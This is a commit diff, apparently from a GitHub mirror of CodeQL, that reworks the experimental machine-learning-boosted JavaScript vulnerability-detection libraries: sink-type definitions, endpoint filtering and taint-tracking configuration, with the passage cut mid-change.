mirror of
https://github.com/github/codeql.git
synced 2026-04-30 19:26:02 +02:00
Merge branch 'main' into codeql-ci/atm/release-0.4.6
This commit is contained in:
@@ -1,6 +1,8 @@
|
||||
# [Internal only] Adaptive Threat Modeling for JavaScript
|
||||
# Adaptive Threat Modeling for JavaScript
|
||||
|
||||
This directory contains CodeQL libraries and queries that power adaptive threat modeling for JavaScript.
|
||||
All APIs are experimental and may change in the future.
|
||||
|
||||
These queries can only be run by internal users; for external users they will return no results.
|
||||
Only internal users can run these queries directly. External users can run these queries when performing
|
||||
JavaScript analysis on Code Scanning. For more information, see
|
||||
[Code scanning finds more vulnerabilities using machine learning](https://github.blog/2022-02-17-code-scanning-finds-vulnerabilities-using-machine-learning/).
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Configures boosting for adaptive threat modeling (ATM).
|
||||
@@ -6,7 +6,8 @@
|
||||
|
||||
private import javascript as JS
|
||||
import EndpointTypes
|
||||
import EndpointCharacteristics
|
||||
import EndpointCharacteristics as EndpointCharacteristics
|
||||
import AdaptiveThreatModeling::ATM::ResultsInfo as AtmResultsInfo
|
||||
|
||||
/**
|
||||
* EXPERIMENTAL. This API may change in the future.
|
||||
@@ -29,10 +30,23 @@ import EndpointCharacteristics
|
||||
* `isAdditionalFlowStep` with a more generalised definition of additional edges. See
|
||||
* `NosqlInjectionATM.qll` for an example of doing this.
|
||||
*/
|
||||
abstract class AtmConfig extends string {
|
||||
abstract class AtmConfig extends JS::TaintTracking::Configuration {
|
||||
bindingset[this]
|
||||
AtmConfig() { any() }
|
||||
|
||||
/**
|
||||
* Holds if `source` is a relevant taint source. When sources are not boosted, `isSource` is equivalent to
|
||||
* `isKnownSource` (i.e there are no "effective" sources to be classified by an ML model).
|
||||
*/
|
||||
override predicate isSource(JS::DataFlow::Node source) { this.isKnownSource(source) }
|
||||
|
||||
/**
|
||||
* Holds if `sink` is a known taint sink or an "effective" sink (a candidate to be classified by an ML model).
|
||||
*/
|
||||
override predicate isSink(JS::DataFlow::Node sink) {
|
||||
this.isKnownSink(sink) or this.isEffectiveSink(sink)
|
||||
}
|
||||
|
||||
/**
|
||||
* EXPERIMENTAL. This API may change in the future.
|
||||
*
|
||||
@@ -48,9 +62,10 @@ abstract class AtmConfig extends string {
|
||||
final predicate isKnownSink(JS::DataFlow::Node sink) {
|
||||
// If the list of characteristics includes positive indicators with maximal confidence for this class, then it's a
|
||||
// known sink for the class.
|
||||
exists(EndpointCharacteristic characteristic |
|
||||
characteristic.getEndpoints(sink) and
|
||||
characteristic.getImplications(this.getASinkEndpointType(), true, 1.0)
|
||||
exists(EndpointCharacteristics::EndpointCharacteristic characteristic |
|
||||
characteristic.appliesToEndpoint(sink) and
|
||||
characteristic
|
||||
.hasImplications(this.getASinkEndpointType(), true, characteristic.maximalConfidence())
|
||||
)
|
||||
}
|
||||
|
||||
@@ -68,7 +83,38 @@ abstract class AtmConfig extends string {
|
||||
* Holds if the candidate sink `candidateSink` predicted by the machine learning model should be
|
||||
* an effective sink, i.e. one considered as a possible sink of flow in the boosted query.
|
||||
*/
|
||||
predicate isEffectiveSink(JS::DataFlow::Node candidateSink) { none() }
|
||||
predicate isEffectiveSink(JS::DataFlow::Node candidateSink) {
|
||||
not exists(this.getAReasonSinkExcluded(candidateSink))
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the list of characteristics that cause `candidateSink` to be excluded as an effective sink.
|
||||
*/
|
||||
final EndpointCharacteristics::EndpointCharacteristic getAReasonSinkExcluded(
|
||||
JS::DataFlow::Node candidateSink
|
||||
) {
|
||||
// An endpoint is an effective sink (sink candidate) if none of its characteristics give much indication whether or
|
||||
// not it is a sink. Historically, we used endpoint filters, and scored endpoints that are filtered out neither by
|
||||
// a standard endpoint filter nor by an endpoint filter specific to this sink type. To replicate this behavior, we
|
||||
// have given the endpoint filter characteristics medium confidence, and we exclude endpoints that have a
|
||||
// medium-confidence characteristic that indicates that they are not sinks, either in general or for this sink type.
|
||||
exists(EndpointCharacteristics::EndpointCharacteristic filter, float confidence |
|
||||
filter.appliesToEndpoint(candidateSink) and
|
||||
confidence >= filter.mediumConfidence() and
|
||||
// TODO: Experiment with excluding all endpoints that have a medium- or high-confidence characteristic that
|
||||
// implies they're not sinks, rather than using only medium-confidence characteristics, by deleting the following
|
||||
// line.
|
||||
confidence < filter.highConfidence() and
|
||||
(
|
||||
// Exclude endpoints that have a characteristic that implies they're not sinks for _any_ sink type.
|
||||
filter.hasImplications(any(NegativeType negative), true, confidence)
|
||||
or
|
||||
// Exclude endpoints that have a characteristic that implies they're not sinks for _this particular_ sink type.
|
||||
filter.hasImplications(this.getASinkEndpointType(), false, confidence)
|
||||
) and
|
||||
result = filter
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* EXPERIMENTAL. This API may change in the future.
|
||||
@@ -84,7 +130,7 @@ abstract class AtmConfig extends string {
|
||||
* Get an endpoint type for the sinks of this query. A query may have multiple applicable
|
||||
* endpoint types for its sinks.
|
||||
*/
|
||||
EndpointType getASinkEndpointType() { none() }
|
||||
abstract EndpointType getASinkEndpointType();
|
||||
|
||||
/**
|
||||
* EXPERIMENTAL. This API may change in the future.
|
||||
@@ -95,6 +141,30 @@ abstract class AtmConfig extends string {
|
||||
* A cut-off value of 1 produces all alerts including those that are likely false-positives.
|
||||
*/
|
||||
float getScoreCutoff() { result = 0.0 }
|
||||
|
||||
/**
|
||||
* Holds if there's an ATM alert (a flow path from `source` to `sink` with ML-determined likelihood `score`) according
|
||||
* to this ML-boosted configuration, whereas the unboosted base query does not contain this source and sink
|
||||
* combination.
|
||||
*/
|
||||
predicate hasBoostedFlowPath(
|
||||
JS::DataFlow::PathNode source, JS::DataFlow::PathNode sink, float score
|
||||
) {
|
||||
this.hasFlowPath(source, sink) and
|
||||
not AtmResultsInfo::isFlowLikelyInBaseQuery(source.getNode(), sink.getNode()) and
|
||||
score = AtmResultsInfo::getScoreForFlow(source.getNode(), sink.getNode())
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if if `sink` is an effective sink with flow from `source` which gets used as a sink candidate for scoring
|
||||
* with the ML model.
|
||||
*/
|
||||
predicate isSinkCandidateWithFlow(JS::DataFlow::PathNode sink) {
|
||||
exists(JS::DataFlow::PathNode source |
|
||||
this.hasFlowPath(source, sink) and
|
||||
not AtmResultsInfo::isFlowLikelyInBaseQuery(source.getNode(), sink.getNode())
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/** DEPRECATED: Alias for AtmConfig */
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Provides information about the results of boosted queries for use in adaptive threat modeling (ATM).
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Provides shared scoring functionality for use in adaptive threat modeling (ATM).
|
||||
|
||||
@@ -1,225 +0,0 @@
|
||||
/*
|
||||
* For internal use only.
|
||||
*
|
||||
* Provides predicates that expose the knowledge of models
|
||||
* in the core CodeQL JavaScript libraries.
|
||||
*/
|
||||
|
||||
private import javascript
|
||||
private import semmle.javascript.security.dataflow.XxeCustomizations
|
||||
private import semmle.javascript.security.dataflow.RemotePropertyInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.TypeConfusionThroughParameterTamperingCustomizations
|
||||
private import semmle.javascript.security.dataflow.ZipSlipCustomizations
|
||||
private import semmle.javascript.security.dataflow.TaintedPathCustomizations
|
||||
private import semmle.javascript.security.dataflow.CleartextLoggingCustomizations
|
||||
private import semmle.javascript.security.dataflow.XpathInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.Xss::Shared as Xss
|
||||
private import semmle.javascript.security.dataflow.StackTraceExposureCustomizations
|
||||
private import semmle.javascript.security.dataflow.ClientSideUrlRedirectCustomizations
|
||||
private import semmle.javascript.security.dataflow.CodeInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.RequestForgeryCustomizations
|
||||
private import semmle.javascript.security.dataflow.CorsMisconfigurationForCredentialsCustomizations
|
||||
private import semmle.javascript.security.dataflow.ShellCommandInjectionFromEnvironmentCustomizations
|
||||
private import semmle.javascript.security.dataflow.DifferentKindsComparisonBypassCustomizations
|
||||
private import semmle.javascript.security.dataflow.CommandInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.PrototypePollutionCustomizations
|
||||
private import semmle.javascript.security.dataflow.UnvalidatedDynamicMethodCallCustomizations
|
||||
private import semmle.javascript.security.dataflow.TaintedFormatStringCustomizations
|
||||
private import semmle.javascript.security.dataflow.NosqlInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.PostMessageStarCustomizations
|
||||
private import semmle.javascript.security.dataflow.RegExpInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.SqlInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.InsecureRandomnessCustomizations
|
||||
private import semmle.javascript.security.dataflow.XmlBombCustomizations
|
||||
private import semmle.javascript.security.dataflow.InsufficientPasswordHashCustomizations
|
||||
private import semmle.javascript.security.dataflow.HardcodedCredentialsCustomizations
|
||||
private import semmle.javascript.security.dataflow.FileAccessToHttpCustomizations
|
||||
private import semmle.javascript.security.dataflow.UnsafeDynamicMethodAccessCustomizations
|
||||
private import semmle.javascript.security.dataflow.UnsafeDeserializationCustomizations
|
||||
private import semmle.javascript.security.dataflow.HardcodedDataInterpretedAsCodeCustomizations
|
||||
private import semmle.javascript.security.dataflow.ServerSideUrlRedirectCustomizations
|
||||
private import semmle.javascript.security.dataflow.IndirectCommandInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.ConditionalBypassCustomizations
|
||||
private import semmle.javascript.security.dataflow.HttpToFileAccessCustomizations
|
||||
private import semmle.javascript.security.dataflow.BrokenCryptoAlgorithmCustomizations
|
||||
private import semmle.javascript.security.dataflow.LoopBoundInjectionCustomizations
|
||||
private import semmle.javascript.security.dataflow.CleartextStorageCustomizations
|
||||
import FilteringReasons
|
||||
|
||||
/**
|
||||
* Holds if the node `n` is a known sink in a modeled library, or a sibling-argument of such a sink.
|
||||
*/
|
||||
predicate isArgumentToKnownLibrarySinkFunction(DataFlow::Node n) {
|
||||
exists(DataFlow::InvokeNode invk, DataFlow::Node known |
|
||||
invk.getAnArgument() = n and invk.getAnArgument() = known and isKnownLibrarySink(known)
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the node `n` is a known sink for the external API security query.
|
||||
*
|
||||
* This corresponds to known sinks from security queries whose sources include remote flow and
|
||||
* DOM-based sources.
|
||||
*/
|
||||
predicate isKnownExternalApiQuerySink(DataFlow::Node n) {
|
||||
n instanceof Xxe::Sink or
|
||||
n instanceof TaintedPath::Sink or
|
||||
n instanceof XpathInjection::Sink or
|
||||
n instanceof Xss::Sink or
|
||||
n instanceof ClientSideUrlRedirect::Sink or
|
||||
n instanceof CodeInjection::Sink or
|
||||
n instanceof RequestForgery::Sink or
|
||||
n instanceof CorsMisconfigurationForCredentials::Sink or
|
||||
n instanceof CommandInjection::Sink or
|
||||
n instanceof PrototypePollution::Sink or
|
||||
n instanceof UnvalidatedDynamicMethodCall::Sink or
|
||||
n instanceof TaintedFormatString::Sink or
|
||||
n instanceof NosqlInjection::Sink or
|
||||
n instanceof PostMessageStar::Sink or
|
||||
n instanceof RegExpInjection::Sink or
|
||||
n instanceof SqlInjection::Sink or
|
||||
n instanceof XmlBomb::Sink or
|
||||
n instanceof ZipSlip::Sink or
|
||||
n instanceof UnsafeDeserialization::Sink or
|
||||
n instanceof ServerSideUrlRedirect::Sink or
|
||||
n instanceof CleartextStorage::Sink or
|
||||
n instanceof HttpToFileAccess::Sink
|
||||
}
|
||||
|
||||
/** DEPRECATED: Alias for isKnownExternalApiQuerySink */
|
||||
deprecated predicate isKnownExternalAPIQuerySink = isKnownExternalApiQuerySink/1;
|
||||
|
||||
/**
|
||||
* Holds if the node `n` is a known sink in a modeled library.
|
||||
*/
|
||||
predicate isKnownLibrarySink(DataFlow::Node n) {
|
||||
isKnownExternalApiQuerySink(n) or
|
||||
n instanceof CleartextLogging::Sink or
|
||||
n instanceof StackTraceExposure::Sink or
|
||||
n instanceof ShellCommandInjectionFromEnvironment::Sink or
|
||||
n instanceof InsecureRandomness::Sink or
|
||||
n instanceof FileAccessToHttp::Sink or
|
||||
n instanceof IndirectCommandInjection::Sink
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the node `n` is known as the predecessor in a modeled flow step.
|
||||
*/
|
||||
predicate isKnownStepSrc(DataFlow::Node n) {
|
||||
TaintTracking::sharedTaintStep(n, _) or
|
||||
DataFlow::SharedFlowStep::step(n, _) or
|
||||
DataFlow::SharedFlowStep::step(n, _, _, _)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `n` is an argument to a function of a builtin object.
|
||||
*/
|
||||
private predicate isArgumentToBuiltinFunction(DataFlow::Node n, FilteringReason reason) {
|
||||
exists(DataFlow::SourceNode builtin, DataFlow::SourceNode receiver, DataFlow::InvokeNode invk |
|
||||
(
|
||||
builtin instanceof DataFlow::ArrayCreationNode and
|
||||
reason instanceof ArgumentToArrayReason
|
||||
or
|
||||
builtin =
|
||||
DataFlow::globalVarRef([
|
||||
"Map", "Set", "WeakMap", "WeakSet", "Number", "Object", "String", "Array", "Error",
|
||||
"Math", "Boolean"
|
||||
]) and
|
||||
reason instanceof ArgumentToBuiltinGlobalVarRefReason
|
||||
)
|
||||
|
|
||||
receiver = [builtin.getAnInvocation(), builtin] and
|
||||
invk = [receiver, receiver.getAPropertyRead()].getAnInvocation() and
|
||||
invk.getAnArgument() = n
|
||||
)
|
||||
or
|
||||
exists(Expr primitive, MethodCallExpr c |
|
||||
primitive instanceof ConstantString or
|
||||
primitive instanceof NumberLiteral or
|
||||
primitive instanceof BooleanLiteral
|
||||
|
|
||||
c.calls(primitive, _) and
|
||||
c.getAnArgument() = n.asExpr() and
|
||||
reason instanceof ConstantReceiverReason
|
||||
)
|
||||
or
|
||||
exists(DataFlow::CallNode call |
|
||||
call.getAnArgument() = n and
|
||||
call.getCalleeName() =
|
||||
[
|
||||
"indexOf", "hasOwnProperty", "substring", "isDecimal", "decode", "encode", "keys", "shift",
|
||||
"values", "forEach", "toString", "slice", "splice", "push", "isArray", "sort"
|
||||
] and
|
||||
reason instanceof BuiltinCallNameReason
|
||||
)
|
||||
}
|
||||
|
||||
predicate isOtherModeledArgument(DataFlow::Node n, FilteringReason reason) {
|
||||
isArgumentToBuiltinFunction(n, reason)
|
||||
or
|
||||
any(LodashUnderscore::Member m).getACall().getAnArgument() = n and
|
||||
reason instanceof LodashUnderscoreArgumentReason
|
||||
or
|
||||
any(JQuery::MethodCall m).getAnArgument() = n and
|
||||
reason instanceof JQueryArgumentReason
|
||||
or
|
||||
exists(ClientRequest r |
|
||||
r.getAnArgument() = n or n = r.getUrl() or n = r.getHost() or n = r.getADataNode()
|
||||
) and
|
||||
reason instanceof ClientRequestReason
|
||||
or
|
||||
exists(PromiseDefinition p |
|
||||
n = [p.getResolveParameter(), p.getRejectParameter()].getACall().getAnArgument()
|
||||
) and
|
||||
reason instanceof PromiseDefinitionReason
|
||||
or
|
||||
n instanceof CryptographicKey and reason instanceof CryptographicKeyReason
|
||||
or
|
||||
any(CryptographicOperation op).getInput() = n and
|
||||
reason instanceof CryptographicOperationFlowReason
|
||||
or
|
||||
exists(DataFlow::CallNode call | n = call.getAnArgument() |
|
||||
call.getCalleeName() = getAStandardLoggerMethodName() and
|
||||
reason instanceof LoggerMethodReason
|
||||
or
|
||||
call.getCalleeName() = ["setTimeout", "clearTimeout"] and
|
||||
reason instanceof TimeoutReason
|
||||
or
|
||||
call.getReceiver() = DataFlow::globalVarRef(["localStorage", "sessionStorage"]) and
|
||||
reason instanceof ReceiverStorageReason
|
||||
or
|
||||
call instanceof StringOps::StartsWith and reason instanceof StringStartsWithReason
|
||||
or
|
||||
call instanceof StringOps::EndsWith and reason instanceof StringEndsWithReason
|
||||
or
|
||||
call instanceof StringOps::RegExpTest and reason instanceof StringRegExpTestReason
|
||||
or
|
||||
call instanceof EventRegistration and reason instanceof EventRegistrationReason
|
||||
or
|
||||
call instanceof EventDispatch and reason instanceof EventDispatchReason
|
||||
or
|
||||
call = any(MembershipCandidate c).getTest() and
|
||||
reason instanceof MembershipCandidateTestReason
|
||||
or
|
||||
call instanceof FileSystemAccess and reason instanceof FileSystemAccessReason
|
||||
or
|
||||
// TODO database accesses are less well defined than database query sinks, so this may cover unmodeled sinks on existing database models
|
||||
[
|
||||
call, call.getAMethodCall()
|
||||
/* command pattern where the query is built, and then exec'ed later */ ] instanceof
|
||||
DatabaseAccess and
|
||||
reason instanceof DatabaseAccessReason
|
||||
or
|
||||
call = DOM::domValueRef() and reason instanceof DomReason
|
||||
or
|
||||
call.getCalleeName() = "next" and
|
||||
exists(DataFlow::FunctionNode f | call = f.getLastParameter().getACall()) and
|
||||
reason instanceof NextFunctionCallReason
|
||||
or
|
||||
call = DataFlow::globalVarRef("dojo").getAPropertyRead("require").getACall() and
|
||||
reason instanceof DojoRequireReason
|
||||
)
|
||||
or
|
||||
(exists(Base64::Decode d | n = d.getInput()) or exists(Base64::Encode d | n = d.getInput())) and
|
||||
reason instanceof Base64ManipulationReason
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Extracts data about the database for use in adaptive threat modeling (ATM).
|
||||
@@ -55,8 +55,8 @@ private module FunctionNames {
|
||||
private string getApproximateNameForFunction(Function function) {
|
||||
count(DataFlow::CallNode call, int index | functionUsedAsArgumentToCall(function, call, index)) =
|
||||
1 and
|
||||
exists(DataFlow::CallNode call, int index, string basePart |
|
||||
functionUsedAsArgumentToCall(function, call, index) and
|
||||
exists(DataFlow::CallNode call, string basePart |
|
||||
functionUsedAsArgumentToCall(function, call, _) and
|
||||
(
|
||||
if count(getReceiverName(call)) = 1
|
||||
then basePart = getReceiverName(call) + "."
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Provides an implementation of scoring alerts for use in adaptive threat modeling (ATM).
|
||||
|
||||
@@ -10,12 +10,18 @@ newtype TEndpointType =
|
||||
TXssSinkType() or
|
||||
TNosqlInjectionSinkType() or
|
||||
TSqlInjectionSinkType() or
|
||||
TTaintedPathSinkType()
|
||||
TTaintedPathSinkType() or
|
||||
TShellCommandInjectionFromEnvironmentSinkType()
|
||||
|
||||
/** A class that can be predicted by endpoint scoring models. */
|
||||
abstract class EndpointType extends TEndpointType {
|
||||
abstract string getDescription();
|
||||
|
||||
/**
|
||||
* Gets the integer representation of this endpoint type. This integer representation specifies the class number
|
||||
* used by the endpoint scoring model (the classifier) to represent this endpoint type. Class 0 is the negative
|
||||
* class (non-sink). Each positive int corresponds to a single sink type.
|
||||
*/
|
||||
abstract int getEncoding();
|
||||
|
||||
string toString() { result = getDescription() }
|
||||
@@ -55,3 +61,11 @@ class TaintedPathSinkType extends EndpointType, TTaintedPathSinkType {
|
||||
|
||||
override int getEncoding() { result = 4 }
|
||||
}
|
||||
|
||||
/** The `ShellCommandInjectionFromEnvironmentSink` class that can be predicted by endpoint scoring models. */
|
||||
class ShellCommandInjectionFromEnvironmentSinkType extends EndpointType,
|
||||
TShellCommandInjectionFromEnvironmentSinkType {
|
||||
override string getDescription() { result = "ShellCommandInjectionFromEnvironmentSink" }
|
||||
|
||||
override int getEncoding() { result = 5 }
|
||||
}
|
||||
|
||||
@@ -1,220 +0,0 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Defines a set of reasons why a particular endpoint was filtered out. This set of reasons
|
||||
* contains both reasons why an endpoint could be `NotASink` and reasons why an endpoint could be
|
||||
* `LikelyNotASink`. The `NotASinkReason`s defined here are exhaustive, but the
|
||||
* `LikelyNotASinkReason`s are not exhaustive.
|
||||
*/
|
||||
newtype TFilteringReason =
|
||||
TIsArgumentToBuiltinFunctionReason() or
|
||||
TLodashUnderscoreArgumentReason() or
|
||||
TClientRequestReason() or
|
||||
TPromiseDefinitionReason() or
|
||||
TCryptographicKeyReason() or
|
||||
TCryptographicOperationFlowReason() or
|
||||
TLoggerMethodReason() or
|
||||
TTimeoutReason() or
|
||||
TReceiverStorageReason() or
|
||||
TStringStartsWithReason() or
|
||||
TStringEndsWithReason() or
|
||||
TStringRegExpTestReason() or
|
||||
TEventRegistrationReason() or
|
||||
TEventDispatchReason() or
|
||||
TMembershipCandidateTestReason() or
|
||||
TFileSystemAccessReason() or
|
||||
TDatabaseAccessReason() or
|
||||
TDomReason() or
|
||||
TNextFunctionCallReason() or
|
||||
TArgumentToArrayReason() or
|
||||
TArgumentToBuiltinGlobalVarRefReason() or
|
||||
TConstantReceiverReason() or
|
||||
TBuiltinCallNameReason() or
|
||||
TBase64ManipulationReason() or
|
||||
TJQueryArgumentReason() or
|
||||
TDojoRequireReason()
|
||||
|
||||
/** A reason why a particular endpoint was filtered out by the endpoint filters. */
|
||||
abstract class FilteringReason extends TFilteringReason {
|
||||
abstract string getDescription();
|
||||
|
||||
abstract int getEncoding();
|
||||
|
||||
string toString() { result = getDescription() }
|
||||
}
|
||||
|
||||
/**
|
||||
* A reason why a particular endpoint might be considered to be `NotASink`.
|
||||
*
|
||||
* An endpoint is `NotASink` if it has at least one `NotASinkReason`, it does not have any
|
||||
* `LikelyNotASinkReason`s, and it is not a known sink.
|
||||
*/
|
||||
abstract class NotASinkReason extends FilteringReason { }
|
||||
|
||||
/**
|
||||
* A reason why a particular endpoint might be considered to be `LikelyNotASink`.
|
||||
*
|
||||
* An endpoint is `LikelyNotASink` if it has at least one `LikelyNotASinkReason` and it is not a
|
||||
* known sink.
|
||||
*/
|
||||
abstract class LikelyNotASinkReason extends FilteringReason { }
|
||||
|
||||
class IsArgumentToBuiltinFunctionReason extends NotASinkReason, TIsArgumentToBuiltinFunctionReason {
|
||||
override string getDescription() { result = "IsArgumentToBuiltinFunction" }
|
||||
|
||||
override int getEncoding() { result = 5 }
|
||||
}
|
||||
|
||||
class LodashUnderscoreArgumentReason extends NotASinkReason, TLodashUnderscoreArgumentReason {
|
||||
override string getDescription() { result = "LodashUnderscoreArgument" }
|
||||
|
||||
override int getEncoding() { result = 6 }
|
||||
}
|
||||
|
||||
class ClientRequestReason extends NotASinkReason, TClientRequestReason {
|
||||
override string getDescription() { result = "ClientRequest" }
|
||||
|
||||
override int getEncoding() { result = 7 }
|
||||
}
|
||||
|
||||
class PromiseDefinitionReason extends NotASinkReason, TPromiseDefinitionReason {
|
||||
override string getDescription() { result = "PromiseDefinition" }
|
||||
|
||||
override int getEncoding() { result = 8 }
|
||||
}
|
||||
|
||||
class CryptographicKeyReason extends NotASinkReason, TCryptographicKeyReason {
|
||||
override string getDescription() { result = "CryptographicKey" }
|
||||
|
||||
override int getEncoding() { result = 9 }
|
||||
}
|
||||
|
||||
class CryptographicOperationFlowReason extends NotASinkReason, TCryptographicOperationFlowReason {
|
||||
override string getDescription() { result = "CryptographicOperationFlow" }
|
||||
|
||||
override int getEncoding() { result = 10 }
|
||||
}
|
||||
|
||||
class LoggerMethodReason extends NotASinkReason, TLoggerMethodReason {
|
||||
override string getDescription() { result = "LoggerMethod" }
|
||||
|
||||
override int getEncoding() { result = 11 }
|
||||
}
|
||||
|
||||
class TimeoutReason extends NotASinkReason, TTimeoutReason {
|
||||
override string getDescription() { result = "Timeout" }
|
||||
|
||||
override int getEncoding() { result = 12 }
|
||||
}
|
||||
|
||||
class ReceiverStorageReason extends NotASinkReason, TReceiverStorageReason {
|
||||
override string getDescription() { result = "ReceiverStorage" }
|
||||
|
||||
override int getEncoding() { result = 13 }
|
||||
}
|
||||
|
||||
class StringStartsWithReason extends NotASinkReason, TStringStartsWithReason {
|
||||
override string getDescription() { result = "StringStartsWith" }
|
||||
|
||||
override int getEncoding() { result = 14 }
|
||||
}
|
||||
|
||||
class StringEndsWithReason extends NotASinkReason, TStringEndsWithReason {
|
||||
override string getDescription() { result = "StringEndsWith" }
|
||||
|
||||
override int getEncoding() { result = 15 }
|
||||
}
|
||||
|
||||
class StringRegExpTestReason extends NotASinkReason, TStringRegExpTestReason {
|
||||
override string getDescription() { result = "StringRegExpTest" }
|
||||
|
||||
override int getEncoding() { result = 16 }
|
||||
}
|
||||
|
||||
class EventRegistrationReason extends NotASinkReason, TEventRegistrationReason {
|
||||
override string getDescription() { result = "EventRegistration" }
|
||||
|
||||
override int getEncoding() { result = 17 }
|
||||
}
|
||||
|
||||
class EventDispatchReason extends NotASinkReason, TEventDispatchReason {
|
||||
override string getDescription() { result = "EventDispatch" }
|
||||
|
||||
override int getEncoding() { result = 18 }
|
||||
}
|
||||
|
||||
class MembershipCandidateTestReason extends NotASinkReason, TMembershipCandidateTestReason {
|
||||
override string getDescription() { result = "MembershipCandidateTest" }
|
||||
|
||||
override int getEncoding() { result = 19 }
|
||||
}
|
||||
|
||||
class FileSystemAccessReason extends NotASinkReason, TFileSystemAccessReason {
|
||||
override string getDescription() { result = "FileSystemAccess" }
|
||||
|
||||
override int getEncoding() { result = 20 }
|
||||
}
|
||||
|
||||
class DatabaseAccessReason extends NotASinkReason, TDatabaseAccessReason {
|
||||
override string getDescription() { result = "DatabaseAccess" }
|
||||
|
||||
override int getEncoding() { result = 21 }
|
||||
}
|
||||
|
||||
class DomReason extends NotASinkReason, TDomReason {
|
||||
override string getDescription() { result = "DOM" }
|
||||
|
||||
override int getEncoding() { result = 22 }
|
||||
}
|
||||
|
||||
/** DEPRECATED: Alias for DomReason */
|
||||
deprecated class DOMReason = DomReason;
|
||||
|
||||
class NextFunctionCallReason extends NotASinkReason, TNextFunctionCallReason {
|
||||
override string getDescription() { result = "NextFunctionCall" }
|
||||
|
||||
override int getEncoding() { result = 23 }
|
||||
}
|
||||
|
||||
class ArgumentToArrayReason extends LikelyNotASinkReason, TArgumentToArrayReason {
|
||||
override string getDescription() { result = "ArgumentToArray" }
|
||||
|
||||
override int getEncoding() { result = 24 }
|
||||
}
|
||||
|
||||
class ArgumentToBuiltinGlobalVarRefReason extends LikelyNotASinkReason,
|
||||
TArgumentToBuiltinGlobalVarRefReason {
|
||||
override string getDescription() { result = "ArgumentToBuiltinGlobalVarRef" }
|
||||
|
||||
override int getEncoding() { result = 25 }
|
||||
}
|
||||
|
||||
class ConstantReceiverReason extends NotASinkReason, TConstantReceiverReason {
|
||||
override string getDescription() { result = "ConstantReceiver" }
|
||||
|
||||
override int getEncoding() { result = 26 }
|
||||
}
|
||||
|
||||
class BuiltinCallNameReason extends NotASinkReason, TBuiltinCallNameReason {
|
||||
override string getDescription() { result = "BuiltinCallName" }
|
||||
|
||||
override int getEncoding() { result = 27 }
|
||||
}
|
||||
|
||||
class Base64ManipulationReason extends NotASinkReason, TBase64ManipulationReason {
|
||||
override string getDescription() { result = "Base64Manipulation" }
|
||||
|
||||
override int getEncoding() { result = 28 }
|
||||
}
|
||||
|
||||
class JQueryArgumentReason extends NotASinkReason, TJQueryArgumentReason {
|
||||
override string getDescription() { result = "JQueryArgument" }
|
||||
|
||||
override int getEncoding() { result = 29 }
|
||||
}
|
||||
|
||||
class DojoRequireReason extends NotASinkReason, TDojoRequireReason {
|
||||
override string getDescription() { result = "DojoRequire" }
|
||||
|
||||
override int getEncoding() { result = 30 }
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
/**
|
||||
* FunctionBodyFeatures.qll
|
||||
*
|
||||
* Contains logic relating to the `enclosingFunctionBody` and `enclosingFunctionName` features.
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* A taint-tracking configuration for reasoning about NoSQL injection vulnerabilities.
|
||||
* Defines shared code used by the NoSQL injection boosted query.
|
||||
*/
|
||||
|
||||
@@ -8,145 +9,21 @@ import javascript
|
||||
private import semmle.javascript.heuristics.SyntacticHeuristics
|
||||
private import semmle.javascript.security.dataflow.NosqlInjectionCustomizations
|
||||
import AdaptiveThreatModeling
|
||||
private import CoreKnowledge as CoreKnowledge
|
||||
private import StandardEndpointFilters as StandardEndpointFilters
|
||||
|
||||
module SinkEndpointFilter {
|
||||
/**
|
||||
* Provides a set of reasons why a given data flow node should be excluded as a sink candidate.
|
||||
*
|
||||
* If this predicate has no results for a sink candidate `n`, then we should treat `n` as an
|
||||
* effective sink.
|
||||
*/
|
||||
string getAReasonSinkExcluded(DataFlow::Node sinkCandidate) {
|
||||
result = StandardEndpointFilters::getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
exists(DataFlow::CallNode call | sinkCandidate = call.getAnArgument() |
|
||||
// additional databases accesses that aren't modeled yet
|
||||
call.(DataFlow::MethodCallNode).getMethodName() =
|
||||
["create", "createCollection", "createIndexes"] and
|
||||
result = "matches database access call heuristic"
|
||||
or
|
||||
// Remove modeled sinks
|
||||
CoreKnowledge::isArgumentToKnownLibrarySinkFunction(sinkCandidate) and
|
||||
result = "modeled sink"
|
||||
or
|
||||
// Remove common kinds of unlikely sinks
|
||||
CoreKnowledge::isKnownStepSrc(sinkCandidate) and
|
||||
result = "predecessor in a modeled flow step"
|
||||
or
|
||||
// Remove modeled database calls. Arguments to modeled calls are very likely to be modeled
|
||||
// as sinks if they are true positives. Therefore arguments that are not modeled as sinks
|
||||
// are unlikely to be true positives.
|
||||
call instanceof DatabaseAccess and
|
||||
result = "modeled database access"
|
||||
or
|
||||
// Remove calls to APIs that aren't relevant to NoSQL injection
|
